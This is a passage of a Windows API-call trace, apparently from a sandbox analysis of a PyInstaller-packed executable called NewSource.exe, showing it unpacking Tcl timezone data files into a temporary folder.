lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.572] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.572] CloseHandle (hObject=0x10c) returned 1 [0042.572] GetLastError () returned 0x0 [0042.572] SetLastError (dwErrCode=0x0) [0042.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg") returned 74 [0042.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\luxembourg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.572] GetLastError () returned 0x2 [0042.572] SetLastError (dwErrCode=0x2) [0042.572] GetLastError () returned 0x2 [0042.572] SetLastError (dwErrCode=0x2) [0042.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg", lpFilePart=0x0) returned 0x49 [0042.572] GetLastError () returned 0x2 [0042.572] SetLastError (dwErrCode=0x2) [0042.572] GetLastError () returned 0x2 [0042.572] SetLastError (dwErrCode=0x2) [0042.572] GetLastError () returned 0x2 [0042.573] SetLastError (dwErrCode=0x2) [0042.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg") returned 74 [0042.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Luxembourg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\luxembourg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.573] GetFileType (hFile=0x10c) returned 0x1 [0042.573] htonl (hostlong=0x7a220000) returned 0x227a [0042.573] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.574] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.574] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x27a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x27a, lpOverlapped=0x0) returned 1 [0042.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.574] CloseHandle (hObject=0x10c) returned 1 [0042.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.574] htonl (hostlong=0x30000000) returned 0x30 [0042.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.575] GetFileType (hFile=0x10c) returned 0x1 [0042.575] htonl (hostlong=0x2b445c00) returned 0x5c442b [0042.575] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60f42b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.575] htonl (hostlong=0xce060000) returned 0x6ce [0042.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6ce) returned 0x55e278 [0042.575] htonl (hostlong=0xce060000) returned 0x6ce [0042.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.575] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.575] htonl (hostlong=0x5a200000) returned 0x205a [0042.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x205a) returned 0x561090 [0042.575] htonl (hostlong=0xce060000) returned 0x6ce [0042.575] htonl (hostlong=0x5a200000) returned 0x205a [0042.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630f8 [0042.575] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630f8 | out: hHeap=0x530000) returned 1 [0042.576] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.576] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.576] CloseHandle (hObject=0x10c) returned 1 [0042.576] GetLastError () returned 0x0 [0042.576] SetLastError (dwErrCode=0x0) [0042.576] GetLastError () returned 0x0 [0042.576] SetLastError (dwErrCode=0x0) [0042.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.576] GetFileType (hFile=0x10c) returned 0x1 [0042.576] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.576] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.576] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.576] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.576] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.576] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.576] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.576] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.576] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.576] CloseHandle (hObject=0x10c) returned 1 [0042.576] GetLastError () returned 0x0 [0042.576] SetLastError (dwErrCode=0x0) [0042.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.577] GetFileType (hFile=0x10c) returned 0x1 [0042.577] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.577] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.577] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.577] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.577] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.577] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.577] CloseHandle (hObject=0x10c) returned 1 [0042.577] GetLastError () returned 0x0 [0042.577] SetLastError (dwErrCode=0x0) [0042.577] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.577] GetFileType (hFile=0x10c) returned 0x1 [0042.577] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.577] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.577] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.577] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.577] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.578] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.578] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.578] CloseHandle (hObject=0x10c) returned 1 [0042.578] GetLastError () returned 0x0 [0042.578] SetLastError (dwErrCode=0x0) [0042.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid") returned 70 [0042.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\madrid"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.578] GetLastError () returned 0x2 [0042.578] SetLastError (dwErrCode=0x2) [0042.578] GetLastError () returned 0x2 [0042.578] SetLastError (dwErrCode=0x2) [0042.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid", lpFilePart=0x0) returned 0x45 [0042.578] GetLastError () returned 0x2 [0042.578] SetLastError (dwErrCode=0x2) [0042.578] GetLastError () returned 0x2 [0042.578] SetLastError (dwErrCode=0x2) [0042.578] GetLastError () returned 0x2 [0042.578] SetLastError (dwErrCode=0x2) [0042.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid") returned 70 [0042.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Madrid" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\madrid"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.578] GetFileType (hFile=0x10c) returned 0x1 [0042.579] htonl (hostlong=0x5a200000) returned 0x205a [0042.579] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.579] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.579] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5a, lpOverlapped=0x0) returned 1 [0042.580] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.580] CloseHandle (hObject=0x10c) returned 1 [0042.580] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.580] htonl (hostlong=0x30000000) returned 0x30 [0042.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.580] GetFileType (hFile=0x10c) returned 0x1 [0042.580] htonl (hostlong=0xf94a5c00) returned 0x5c4af9 [0042.580] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60faf9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.580] htonl (hostlong=0xb9060000) returned 0x6b9 [0042.580] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6b9) returned 0x55e278 [0042.580] htonl (hostlong=0xb9060000) returned 0x6b9 [0042.580] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.580] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.580] htonl (hostlong=0xe9200000) returned 0x20e9 [0042.580] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20e9) returned 0x561090 [0042.580] htonl (hostlong=0xb9060000) returned 0x6b9 [0042.580] htonl (hostlong=0xe9200000) returned 0x20e9 [0042.580] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563188 [0042.581] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563188 | out: hHeap=0x530000) returned 1 [0042.581] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.581] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.581] CloseHandle (hObject=0x10c) returned 1 [0042.581] GetLastError () returned 0x0 [0042.581] SetLastError (dwErrCode=0x0) [0042.581] GetLastError () returned 0x0 [0042.581] SetLastError (dwErrCode=0x0) [0042.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.581] GetFileType (hFile=0x10c) returned 0x1 [0042.581] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.581] CloseHandle (hObject=0x10c) returned 1 [0042.581] GetLastError () returned 0x0 [0042.581] SetLastError (dwErrCode=0x0) [0042.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.582] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.582] GetFileType (hFile=0x10c) returned 0x1 [0042.582] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.582] CloseHandle (hObject=0x10c) returned 1 [0042.582] GetLastError () returned 0x0 [0042.582] SetLastError (dwErrCode=0x0) [0042.582] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.582] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.582] GetFileType (hFile=0x10c) returned 0x1 [0042.582] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.582] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.582] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.582] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.583] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.583] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.583] CloseHandle (hObject=0x10c) returned 1 [0042.583] GetLastError () returned 0x0 [0042.583] SetLastError (dwErrCode=0x0) [0042.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 